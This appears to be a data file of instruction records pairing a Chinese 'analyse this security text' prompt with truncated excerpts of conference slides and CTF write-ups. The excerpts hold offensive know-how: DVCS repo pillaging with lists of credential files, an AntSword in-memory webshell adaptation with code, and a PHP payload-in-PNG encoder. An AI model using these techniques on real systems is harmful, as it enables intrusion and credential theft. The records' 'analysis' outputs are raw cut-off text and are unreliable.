DEFCON 19 // @adam_baldwin @adam_baldwin Co-Founder of nGenuity Pentester of webs evilpacket.net WTF is DVCS Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin Objectives Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin Identify web accessible repos Pillage as much info as possible ??? Profit Alexa top million sites Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin GIT HG BZR GIT: 1498 repos HG: 312 repos BZR: 235 repos Repo Identification Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin GIT: .git/HEAD HG: .hg/requires BZR: .bzr/README http://example.com/.git/HEAD W3AF Plugin Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin Cloning Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin 0. Check for dir browsing 1. Get predictable files 2. List repo files 3. Download references to files 4. Restore the repo (if possible) Pillaging Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin Platform details (.php, .cgi, etc) Downloadable files (.old, .sql) Source Code Credentials / Certs / API Keys Pillaging Ideas Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin .sql / .sql.bz2 .pem config .bak .sql.gz .xls / .xlsx .ini .cfg .tar / .tar.gz .doc / .docx .sh export htpasswd private .qbw / .mny backup id_rsa .pst / .ost confidential dump / .dmp id_dsa settings .csv .txt Thanks to @flirzan & @quitlahok for some of these! Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin Montage of fail <- Twitter API <- Facebook API <- MySpace API <- Google API <- Auth Required? Nope Database Passwords <- SSH Keys htpasswd -> Customer Invoices Demo Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin The Tool Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin https://github.com/ngenuity/DVCS-Pillage Questions? adam@ngenuity-is.com // @adam_baldwin Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin References nGenuity: http://ngenuity-is.com http://ngenuity-is.com/blog/2011/mar/22/gotta-git-up-to-get-dow", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBuild a free cellular traffic capture tool with a vxworks based femoto Hacking Femtocell Hacking Femtocell 1 Yuwei Zheng @DEF CON 23 Haoqi Shan @DEF CON 23 From: 360 Unicorn Team Main contents Hacking Femtocell About us Why do we need it How to get a free Femtocell Deeply Hack Capture packets Summary and Reference 2 About us Hack Femtocell 360 Unicorn Team Radio & Hardware Security Research Consists of a group of brilliant security researchers Focus on the security of anything that uses radio technologies RFID, NFC, WSN GPS, UAV, Smart Cars, Telecom, SATCOM Our primary mission Guarantee that Qihoo360 is not vulnerable to any wireless attack Qihoo360 protects its users and we protect Qihoo360 One of the Defcon 23 vendors https://www.defcon.org/html/defcon-23/dc-23-vendors.html 3 About me Hacking Femtocell Yuwei Zheng a senior security researcher concentrated in embedded systems reversed blackberry BBM, PIN, BIS push mail protocol decrypted the RIM network stream successfully in 2011 finished a MITM attack for blackberry BES Haoqi Shan a wireless/radio security researcher in Unicorn Team obtained bachelor degree of electronic engineering in 2015 focuses on Wi-Fi penetration, GSM system, router/switcher hacking 4 Why do we need it Hacking Femtocell Research on products integrated cellular modem Capture and hijack SMS Voice Data traffic 5 Why not software-based GSM base station Hacking Femtocell OpenBTS USRP GNU Radio Why not? Data traffic hijack Access denied to operator core network NO real uplink & downlink SMS hijack 6 Femtocells advantages Hacking Femtocell Access to network operator What a hacked Femtocell can do SMS and Data traffic Capture Hijack Modify Even more Roaming in operators network 7 Use Femtocell in research Hacking Femtocell Cellular modem integrated devices Capture or modify control order SMS 2G Capture or modify circle data SMS 2G Trusted data link? Find your system vulnerability 8 How to get a", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## XOR Crypter (crypto 200p) Description: The state of art on encryption, can you defeat it? CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA= ### PL [ENG](#eng-version) Cały kod szyfrujący jest [tutaj](shiftcrypt.py). Szyfrowanie jest bardzo proste, aż dziwne że zadanie było za 200 punktów. Szyfrowanie polega na podzieleniu wejściowego tekstu na 4 bajtowe kawałki (po dodaniu paddingu jeśli to konieczne, aby rozmiar wejścia był wielokrotnością 4 bajtów), rzutowanie ich na inta a następnie wykonywana jest operacja `X xor X >>16`. Jeśli oznaczymy kolejnymi literami bajty tego inta uzyskujemy: `ABCD ABCD >> 16 = ABCD 00AB = (A0)(B0)(CA)(DB) = AB(CA)(DB)` Jak widać dwa pierwsze bajty są zachowywane bez zmian a dwa pozostałe bajty są xorowane z tymi dwoma niezmienionymi. Wiemy także że xor jest operacją odwracalną i `(AB)B = A` możemy więc odwrócić szyfrowanie dwóch ostatnich bajtów xorując je jeszcze raz z pierwszym oraz drugim bajtem (pamiętając przy tym o kolejności bajtów) ```python data = \"CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA=\" decoded = base64.b64decode(data) blocks = struct.unpack(\"I\" * (len(decoded) / 4), decoded) output = '' for block in blocks: bytes = map(ord, struct.pack(\"I\", block)) result = [bytes[0] bytes[2], bytes[1] bytes[3], bytes[2], bytes[3]] output += \"\".join(map(chr, result)) print(output) ``` W wyniku czego uzyskujemy flagę: `EKO{unshifting_the_unshiftable}` ### ENG version Cipher code is [here](shiftcrypt.py). The cipher is actually very simple, it was very strange that the task was worth 200 point. The cipher splits the input text in 4 byte blocks (after adding padding if necessary so that the input is a multiply of 4 bytes), casting each block to integer and the performing `X xor X >>16`. If we mark each byte of the single block with consecutive alphabet letters we get: `ABCD ABCD >> 16 = ABCD 00AB = (A0)(B0)(CA)(DB) = AB(CA)(DB)` As can be noticed, first two bytes are unchanged and last two are xored with those two unchanged. We also kn", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPrinting is still the Stairway to Heaven A Decade After Stuxnets Printer Vulnerability LABS Peleg Hadar Senior Security Researcher & Tomer Bar Research Team Lead | Peleg Hadar Senior Security Researcher 7+ years in InfoSec Senior Security Researcher @ SafeBreach Labs Main focus in Windows internals and vulnerability research @peleghd 2 LABS Tomer Bar Research Team Lead 15+ years in Cyber Security Research Team Lead @ SafeBreach Labs Main focus in APT and vulnerability research Past publications: Prince of Persia - Terminating 10 Years Campaign For Fun And Profit Infy Malware Active In Decade Of Targeted Attacks KasperAgent and Micropsia - Targeted Attacks In The Middle East Ride The Lightning With Foudre Double Edge Sword Attack - Exploiting Quasar Rat Command and Control BadPatch (APT-C-23) 3 LABS 4 Agenda Is Stuxnet 2.0 possible? Analysis of Stuxnets propagation capabilities (vulnerabilities) Root Cause Patch Re-Exploitation / Equivalent newer vulnerability in the same component Our Research How did we re-exploited a patched 10 years old MS Windows vulnerability Demonstration of 2 unpatched 0-day vulnerabilities (Pre-coordinated with Microsoft) Mitigations and Suggestions Better Patch Better real-time prevention for an entire bug class Stuxnet 2.0 Patch effectiveness 5 Agenda two main takeaways Is it possible to abuse patched vulnerabilities? Is it possible to re-occur? 6 Terminology Narrow Patch Patch 7 Stuxnet Recap & Timeline 8 Stuxnet As Seen in 0 Days 9 Propagation Capabilities 5 Vulnerabilities 2 LPE 3 RCE Rootkit Stolen Certificate Final Payload Siemens Related Actions Evasion Capabilities ICS Target Detection ICS Capabilities Stuxnet Main Building Blocks MS10-046 (LNK) MS10-061 (Spooler) Spooler Propagation Capabilities 10 MS06-040 (RPC) MS10-092 (Task Scheduler) MS10-073 (Win32k) Now, over 22 million pieces of malware use that blueprint to attack organizations and states -regdox.com MS10-046 (LNK) MS10-061 (Spooler) Spooler Propagatio", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Basics Category: Hardware > With all those CPU bugs I don't trust software anymore, so I came up with my custom TPM (trademark will be filed soon!). You can't break this, so don't even try. The following files were attached: `main.cpp`: ```cpp #include \"obj_dir/Vcheck.h\" #include #include int main(int argc, char *argv[]) { Verilated::commandArgs(argc, argv); std::cout << \"Enter password:\" << std::endl; auto check = std::make_unique(); for (int i = 0; i < 100 && !check->open_safe; i++) { int c = fgetc(stdin); if (c == '\\n' || c < 0) break; check->data = c & 0x7f; check->clk = false; check->eval(); check->clk = true; check->eval(); } if (check->open_safe) { std::cout << \"CTF{real flag would be here}\" << std::endl; } else { std::cout << \"=(\" << std::endl; } return 0; } ``` `check.sv`: ```verilog module check( input clk, input [6:0] data, output wire open_safe ); reg [6:0] memory [7:0]; reg [2:0] idx = 0; wire [55:0] magic = { {memory[0], memory[5]}, {memory[6], memory[2]}, {memory[4], memory[3]}, {memory[7], memory[1]} }; wire [55:0] kittens = { magic[9:0], magic[41:22], magic[21:10], magic[55:42] }; assign open_safe = kittens == 56'd3008192072309708; always_ff @(posedge clk) begin memory[idx] <= data; idx <= idx + 5; end endmodule ``` ## Solution So this is basically a HW module representation in Verilog. The C++ part reads a password and feeds it to the HW module. The HW module reads one character at time into the `data` input, then stores it in a `memory` register, which is an array of 8 element, where each element is 7 bits wide (just enough for an ASCII character). This causes the `magic` and `kittens` wires to get a value based on the memory, and if the value is right - the `open_safe` wire is set, allowing us to read the flag. We can use a [Verilog simulator](https://www.tutorialspoint.com/compile_verilog_online.php) to simulate the flow. We'll add a print for the expected value of `kittens` based on the constant in the code, and we", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nquickbreach@defcon26:~# ./smbetray.py --help Backdooring & Breaking Signatures William Martin (@QuickBreach) > whoami William Martin OSCP Penetration Tester Supervisor at RSM US LLP in Charlotte, NC Second time presenting at DEFCON Twitter: @QuickBreach > Who is this talk for? Red teamers looking to learn more about Active Directory, SMB security, and pick up new attacks against insecure SMB connections Blue teamers that want to stop the red teamers from using what they learn Anyone curious about how SMB signing actually works > Overview Brief recap on what SMB is NTLMv2 Relay attack Investigate what SMB signing actually is How else we can attack SMB? Introduce SMBetray Demo & tool release Countermeasures Credits Recap on SMB SMB server = Any PC receiving the SMB connection, not necessarily a Windows Server OS. Eg, a Windows 7 box can be the SMB server, as every Windows OS runs an SMB server by default SMB client = The PC/Server connecting to the SMB server > Terminology clarification > Recap on SMB (Source: https://docs.microsoft.com/en-us/windows/desktop/fileio/microsoft-smb-protocol-and-cifs-protocol- overview) > Recap on SMB SMB listens on TCP port 445 and allows for file sharing and management over the network, with features including: Mapping network drives Reading & writing files to shares Authentication support Providing access to MSRPC named pipes > What is SMB? > Recap on SMB Attackers love it for: Pass-the-hash System enumeration (authenticated, or null sessions) Spidering shares & hunting for sensitive data, such as for the cpassword key in SYSVOL xml files > Current attacks against SMB > Current attacks against SMB > Current attacks against SMB > Current attacks against SMB > Current attacks against SMB > Current attacks against SMB > Current attacks against SMB > Current attacks against SMB What is SMB signing? > What is SMB signing? > What is SMB signing? > What is SMB signing? > What is SMB signing? > What is SMB signing? What", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\ntitle: 蚁剑改造计划之支持内存马 author: yzddmr6 blog: yzddmr6.tk 前言 最近因为各种事情太忙了博客也很久没有更新了今天暂且先水一篇 前几天发了一版新的蚁剑JSP一句话的payload这篇文章记录一下更新的细节 1. 兼容高版本JDK 这个没啥好说的就是base64解码的问题在jdk9开始移除了sun.misc这个包导致原有的 sun.misc.BASE64Decoder 没法继续使用取而代之的是 java.util.Base64 这个类 解决办法就是两个都试一下看哪个能解码成功核心代码如下 2. 兼容Tomcat内存马 这个问题可以掰扯一下很多文章都提到了冰蝎或者蚁剑连接内存马的问题 除了由于写法问题而导致的各种乱七八糟的问题以外其中主要的一个问题是冰蝎在入口处采用了 pageContext这个类来获取request response session对象本人以冰蝎为原型实现的蚁剑JSP一句话同 样采用了pageContext作为入口但是以filter型内存马为例doFilter中三个参数分别是 ServletRequestServletResponseFilterChain并不存在pageContext这个东西 那么大体上有三种解决办法 1. 自己声明一个pageContext类在里面实现对应的request跟response的getter setter冰蝎改造 之不改动客户端=>内存马 2. 改写冰蝎的入口为request+response不再采用pageContext作为入口但是弊端就是不能再用 equals了要重新写一个方法用反射调用冰蝎改造之适配基于tomcat Filter的无文件webshell 3. 采用蚁剑原来的Custom模式把恶意函数直接通过字节码打进去然后通过方法名调用不过由 于直接编译恶意函数的字节码较大会超过最大长度限制一般要先写入目标然后配合 URLClassLoader才能使用使用WebLogic CVE-2020-2883配合Shiro rememberMe反序列化一 键注入蚁剑shell 以上的这些方法可以是可以但是不够优雅 public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName(\"sun.misc.BASE64Decoder\"); return (byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName(\"java.util.Base64\"); Object decoder = clazz.getMethod(\"getDecoder\").invoke(null); return (byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, str); } } 回想我们最开始的问题为什么要用pageContext是为了拿到当前请求的上下文更精确一点就是输 入输出request,response经过实际调试可以发现 在request中本身就包含了当前的response同样response中也包含了当前的request 虽然蚁剑没有用到session对象但是需要的时候也可以通过request来获取 也就是通过request或者response任意一个就能完全代替pageContext这也是在新版payload中采取 的方案 核心代码如下 if (obj instanceof PageContext) { PageContext page = (PageContext) obj; request = (HttpServletRequest) page.getRequest(); response = (HttpServletResponse) page.getResponse(); 在equals中收到一个对象后会依次判断是否是 PageContext/HttpServletRequest/HttpServletResponse然后根据情况拿到request跟response从 而实现对内存马的兼容 实现效果 测试环境 在equals中填入request对象 } else if (obj instanceof HttpServletRequest) { request = (HttpServletRequest) obj; t", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n \"; $_pay_len=strlen($_payload); if(strlen($_payload)%3!=0){ echo \"payload%3==0 !\"; exit(); } $width=$_pay_len/3; $height=20; //$im = imageCreateFromPng(\"existing.png\"); $im = imagecreate($width, $height); $_hex=unpack('H*',$_payload); $_chunks=str_split($_hex[1], 6); for($i=0; $i < count($_chunks); $i++){ $_color_chunks=str_split($_chunks[$i], 2); $color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2])); imagesetpixel($im,$i,1,$color); } imagepng($im,\"example.png\");", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n### npm 命令 NPM的全称是Node Package Manager是随同NodeJS一起安装的包管理和分发工具它很方便让JavaScript开发者下载安装上传以及管理已经安装的包 **装包** ``` npm install [包名]@3.9.1 --save //简写npm i //@3.9.1指定版本号 //--save将包添加到packae.json ``` **安装工具** ``` npm install [包名]@3.9.1 --save-dev //简写-D ``` **全局安装** ``` npm install [包名] --global //简写-g ``` **卸载** ``` npm uninstall [包名] ``` 删除全局环境下的包 ``` npm uninstall [包名] -g ``` **查看全局插件命令** ``` npm list -g --depth //简写npm ls -g ``` 查看模块版本 ``` npm version //简写npm -v ``` 检查模块是否已经过时 ``` npm outdated ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n你的智能硬件出卖了你的信息 浅谈办公及教育场景硬件供应链安全 0 1 议程 IoT产品供应链的安全现状 常见的保护机制及实现缺陷 如何避免缺陷保护供应链安全 0 4 IoT产品供应链安全现状 金立2千多部手机被植入木马 软件供应链攻击易受关注而 硬件供应链在流通环节的攻击 非常容易被忽视 0 5 IoT产品供应链安全现状 国内外的相关规范 0 7 IoT产品供应链安全现状 业界的做法 主流的桌面处理器服务器 笔电操作系统厂商很早就 实现了安全启动可信计算等 机制 0 8 IoT产品供应链安全现状 移动处理器厂商 高通MTK等IoT 常用方案厂商都提 供了完整的 SecureBootTEE 的实现支持提供 了可靠的保护机制 0 9 在我们的研究中累计发现5个头部厂商的9款IoT产品芯片方案有完整 的安全启动支持存在设计缺陷导致产品可以在供应链流通环节被 植入恶意代码 IoT产品供应链安全现状 实际落实到IoT产品端的情况 IoT产品供应链安全现状 10 攻击需要物理接触 厂商不重视不认可 只是缺陷不是漏洞 IoT产品供应链安全现状 11 复杂的供应链网络导 致产品在到达客户之前 的流通环节存在大量 被供应链植入的时间窗 口 虽是缺陷后果严重 12 智能盒子 智能电视 会议终端 IoT产品供应链安全现状 虽是缺陷后果严重 窃取商业机密 13 IoT产品供应链安全现状 虽是缺陷后果严重 没有安全保护的教 育硬件可能被破 解改变产品原有设 计用途变身为游 戏机浏览不良信 息的媒介等 14 智能音箱 智能教育屏 智能学习灯 IoT产品供应链安全现状 虽是缺陷后果严重 监控家庭敏感地带 15 IoT产品供应链安全现状 某教育产品供应链植 入风险演示 16 常见的保护机制及实现缺陷 常见的保护机制及实现缺陷 17 Android ROM 常见的保护机制及实现缺陷 18 Secure Boot 核心思想当前阶段的启动代码加载下一级代码之前对 所加载的代码基于PKI进行完整性校验 常见的保护机制及实现缺陷 19 信任根 所有支持 Secure Boot的CPU都会有 一块很小的OTP储存也称为 FUSE 或者eFUSE它的工作原理跟现实中 的保险丝类似在芯片出厂之前会 被写入信息一旦被写入便无法被 更改 常见的保护机制及实现缺陷 22 DM-Verity 对于小分区会使用信 任根进行直接或间接签 名的 对于较大的分区比如 system分区与预置的 root hash进行比对验证 常见的保护机制及实现缺陷 23 信任根 -> Boot Verify -> DM Verity 牢不可破 常见的保护机制及实现缺陷 25 绕过 SECURE BOOT 90%以上均未烧写eFuse 可以直接绕过 虽然安全启动没开但是 从BootLoader向下的保护 机制可能是开启的需要 拿到固件分析保护逻辑 常见的保护机制及实现缺陷 26 没有开启安全启动 利用芯片厂商工具读写整个磁盘固件MTK 绕过 SECURE BOOT 常见的保护机制及实现缺陷 27 没有开启安全启动 利用芯片厂商工具 读写整个磁盘固件 QUALCOMM3 绕过 SECURE BOOT 常见的保护机制及实现缺陷 28 frp seccfg seccfg结构体 seccfg body 结构体 通过固件分析绕过Boot Verify 常见的保护机制及实现缺陷 29 通过固件分析绕过Boot Verify 常见的保护机制及实现缺陷 30 通过固件分析绕过DM-Verity 常见的保护机制及实现缺陷 31 使能adb 禁用SE-Linux 获取 adb root shell set property ro.debuggable = 1 androidboot.selinux=permissive ro.secure = 0 Gain Full Access Get Full Access 常见的保护机制及实现缺陷 32 某会议盒子供应链植入风险 演示 33 如何避免缺陷保护供应链安全 如何避免缺陷保护产品安全 35 安全意识认为接触式攻击不属于漏洞 芯片成本支持安全启动的芯片增加成本 研发成本不想在保护机制上投入人力物力 维修成本开启安全启动增加维修难度 部分厂商的现状 提高安全意识将安全特性支持考虑到产品基础成本里 如何避免缺陷保护产品安全 36 采用巧妙的后门隐藏调试开关 对控制调试的程序进行混淆加密增加分析成本 在底层Framework上定制程序的安装逻辑对抗植入 部分厂商的保护方案 完美的保护机制也需要在根源上做到安全 如何避免缺陷保护产品安全 34 需求 设计 EVT DVT PVT 售卖 硬件产品不同阶段的缺陷修复需要付出的代价 安全应该尽早的介入到 硬件产品", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.\\\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\\\"******************************************************************* .\\\" .\\\" This file was generated with po4a. Translate the source file. .\\\" .\\\"******************************************************************* .TH HOSTID 1 2022年9月 \"GNU coreutils 9.1\" 用户命令 .SH 名称 hostid \\- 显示当前主机的数字标识符 .SH 概述 \\fBhostid\\fP [\\fI\\,选项\\/\\fP] .SH 描述 .\\\" Add any additional description here .PP 显示当前主机的数字标识符十六进制 .TP \\fB\\-\\-help\\fP 显示此帮助信息并退出 .TP \\fB\\-\\-version\\fP 显示版本信息并退出 .SH 作者 由 Jim Meyering 编写 .SH 报告错误 GNU coreutils 的在线帮助 .br 请向 报告翻译错误 .SH 版权 Copyright \\(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later . .br 本软件是自由软件您可以自由修改和重新发布它在法律允许的范围内不提供任何保证 .SH 参见 \\fBgethostid\\fP(3) .PP .br 完整文档请见 .br 或者在本地使用 info \\(aq(coreutils) hostid invocation\\(aq", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# quackme Reversing, 200 points ## Description: > Can you deal with the Duck Web? Get us the flag from this program. A binary was attached. ## Solution: Let's run the supplied binary: ```console root@kali:/media/sf_CTFs/pico/quackme# ./main You have now entered the Duck Web, and you're in for a honkin' good time. Can you figure out my trick? test That's all folks. ``` Not to much to work with. The next step is launching a disassembler: ```assembly root@kali:/media/sf_CTFs/pico/quackme# r2 main -- Beer in mind. [0x080484e0]> aa [x] Analyze all flags starting with sym. and entry0 (aa) [0x080484e0]> afl 0x08048400 3 35 sym._init 0x08048440 1 6 sym.imp.getline 0x08048450 1 6 sym.imp.__stack_chk_fail 0x08048460 1 6 sym.imp.malloc 0x08048470 1 6 sym.imp.puts 0x08048480 1 6 sym.imp.exit 0x08048490 1 6 sym.imp.strlen 0x080484a0 1 6 sym.imp.__libc_start_main 0x080484b0 1 6 sym.imp.setvbuf 0x080484c0 1 6 sym.imp.memset 0x080484d0 1 6 fcn.080484d0 0x080484e0 1 33 entry0 0x08048510 1 4 sym.__x86.get_pc_thunk.bx 0x08048520 4 43 sym.deregister_tm_clones 0x08048550 4 53 sym.register_tm_clones 0x08048590 3 30 sym.__do_global_dtors_aux 0x080485b0 4 43 -> 40 entry1.init 0x080485db 6 103 sym.read_input 0x08048642 10 211 sym.do_magic 0x08048715 1 87 sym.main 0x08048770 4 93 sym.__libc_csu_init 0x080487d0 1 2 sym.__libc_csu_fini 0x080487d4 1 20 sym._fini [0x080484e0]> s sym.main [0x08048715]> pdf ;-- main: / (fcn) sym.main 87 | sym.main (int argc, char **argv, char **envp); | ; var int local_4h @ ebp-0x4 | ; arg int arg_4h @ esp+0x4 | ; DATA XREF from entry0 (0x80484f7) | 0x08048715 8d4c2404 lea ecx, [arg_4h] ; 4 | 0x08048719 83e4f0 and esp, 0xfffffff0 | 0x0804871c ff71fc push dword [ecx - 4] | 0x0804871f 55 push ebp | 0x08048720 89e5 mov ebp, esp | 0x08048722 51 push ecx | 0x08048723 83ec04 sub esp, 4 | 0x08048726 a144a00408 mov eax, dword [obj.stdout__GLIBC_2.0] ; [0x804a044:4]=0 | 0x0804872b 6a00 push 0 | 0x0804872d 6a02 push 2 ; 2 | 0x0804872f 6a00 push 0 | 0x08048731 50 push eax | ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 Stepping p3wns Adventures in full-spectrum Embedded Exploitation And Defense 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 Our Typical Talk 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 Our Typical Talk 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 Our Typical Talk 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 Our Typical Talk 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 Our Typical Talk 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 Our Typical Talk 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 Our Typical Talk 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 Professor, Columbia University Co-Founder, Red Balloon Security 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 Research Scientist, Red Balloon Security Fashionisto Extraordinaire 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 Research Scientist, Red Balloon Security 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 Local Man 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 Cisco Bug ID CSCui04382 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 8/1/13 Cui, Costello, Kataria, Stolfo, Blackhat USA 2013 ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nMJ0011 th_decoder@126.com Reversing Windows8: Interesting Features of Kernel Security 1 Goal: Revising Windows 8 Release Preview Find new security features to defend or mitigate kernel vulnerability attack Target: ntoskrnl Tools: IDA Pro/Hex-rays/windbg Agenda 2 Disable Null Page Memory Allocation Disable Win32k System Call Security Failure Interrupt Nonexecutable NonPaged Pool Apply Intel Secure Key Technology Apply Intel SMEP Technology Agenda 3 Null-page memoryfor 16bit VM:ntvdm Allocate null-page memory by using ZwAllocateVirtualmemory to Trigger uninitialized object pointer reference vulnerability or to achieve other vulnerability attack Example CVE-2010-4398 N-Protect TKRgAc2k.sys kernel 0day(POC2010) Now the system disallow low address (0x0~0x10000) allocation in Windows8 EPROCESS->Flags.VdmAllowed Disallow Null Page Allocation 4 16bit virtual machine is disabled by default in windows8, only administrators can enable it Disallow Null Page Allocation 5 Windows8 checks all the locations to which null page can be allocated. MiCreatePebOrTebcreate peb or teb MiMapViewOfImageSection->MiIsVaRangeAvailable: Mapping image section MiMapViewOfDataSection/MiMapViewOfPhysicalSection Mapping data/physical section MmMapLockedPagesSpecifyCache/MmMapLockedPages-> MiMapLockedPagesInUserSpace Mapping in user address space NtAllocateVirtualMemory:Allocate process memory Disallow Null Page Allocation 6 Disallow win32k system call EPROCESS->Flags2.DisallowWin32kSystemCalls KiFastCallEntry(2)->PsConvertToGuiThread Disallow win32k system call 7 Why disallow win32k system call Win32k.sys: a high incidence of windows kernel vulnerability, can be called without process privilege control MS11-087 Trojan.win32.Duqu : win32k.sys font parse vulnerability Current application sandbox defense method Job UI restriction (ineffective) Disallowing win32k system call can easily defend any win32k related 0day without using 3rd party kernel driver Also can defense user/g", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nModule 3 Understanding and countering malwares evasion and self-defence https://github.com/hasherezade/malware_training_vol1 Fingerprinting for evasion Fingerprinting for evasion Fingerprinting = gathering information about the environment where the executable was deployed It is used by malware to determine whether it is deployed in a controlled enviromnent, i.e. sandbox, analysis machine Open source projects with rich sets of techniques: https://github.com/a0rtega/pafish https://github.com/LordNoteworthy/al-khaser https://www.aldeid.com/wiki/ScoopyNG Presented demos you can find at: https://github.com/hasherezade/antianalysis_demos Fingerprinting for evasion PaFish in action: https://github.com/a0rtega/pafish Fingerprinting for evasion Al-Khaser in action: https://github.com/LordNoteworthy/al-khaser Fingerprinting for evasion Most of the malware stop their execution once they observe being analyzed thats how they protect their real mission from being revealed. Common reactions: ExitProcess Infinite sleep loop Some malware are more tricky, and: deploy a decoy (i.e. an old variant of Andromeda) corrupt their execution (i.e. Kronos) to crash at further point Classic debugger detection techniques Anti-debugger: the classic set The fact that the application is being debugged leaves some artefacts in the execution environment Malware tries to pick them up, and terminate or alter execution on such event There is a list of classic, well-known techniques, that malware authors keep using from years, and probably will keep using in the future Lets take a look at them... Anti-debugger: approaches Using flags in internal process structures: EPROCESS, PEB Some of those checks can be invoked via APIs Breakpoint detection Reaction on exceptions Time checks Searching for the physical presence of the debugger in the system: checking running processes, windows names/classes, installation artifacts of a debugger Detecting debugger: basic API The most basic m", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAn#$Forensics,AF, @dualcoremusic, mov$eax,$0x6b;$int$0x80$ Rapper, Some,other,stuff,idk, Overview, Memory,Forensics,vs,SMC*, Windows, Linux, Android,(An#$)Forensics, Fun,with,SD,cards, Disclaimers, !Professional, TROLOLOLOL, !Expert,/,YMMV, DO,ILLEGAL,THINGS, , Memory,Forensics, Focus,on,soSware,protec#on,(malware), Persist,,thwart,detec#on, Inhibit,acquisi#on,and,analysis, , Memory,Forensics, All,the,cool,stuff,happens,in,memory, Loading,from,disk, Why,cant,I,hold,all,these,sec#ons?, , Memory,Forensics, No,longer,referenced,,no,longer,needed, Analysis,tools,madbro, Lots,of,fun,to,be,had, , Memory,Forensics, Demo, thekeysarelikerightnexZoeachother.exe, Rekall,(winpmem), , YOU ALL SUCK DICK er. hi. A common typo. the keys are like right next to each other. Memory,Forensics, PE,header,not,needed,aSer,loading, Zero,the,header,(RtlZeroMemory), Process,con#nues,to,run, Analysis,tools,fail, Win:,,XP,,,,,,10, , Memory,Forensics, Completeness:, , winpmem92.1.post4.exe$9o$lol.aff4$ $ \"C:\\Program$Files\\Rekall\\rekal.exe\"$9f$lol.aff4$ $ >$procdump$proc_regex=\"thekeys\",$$ $$$$dump_dir=\"C:/Users/int0x80/Desktop/\"$ Memory,Forensics, Demo, 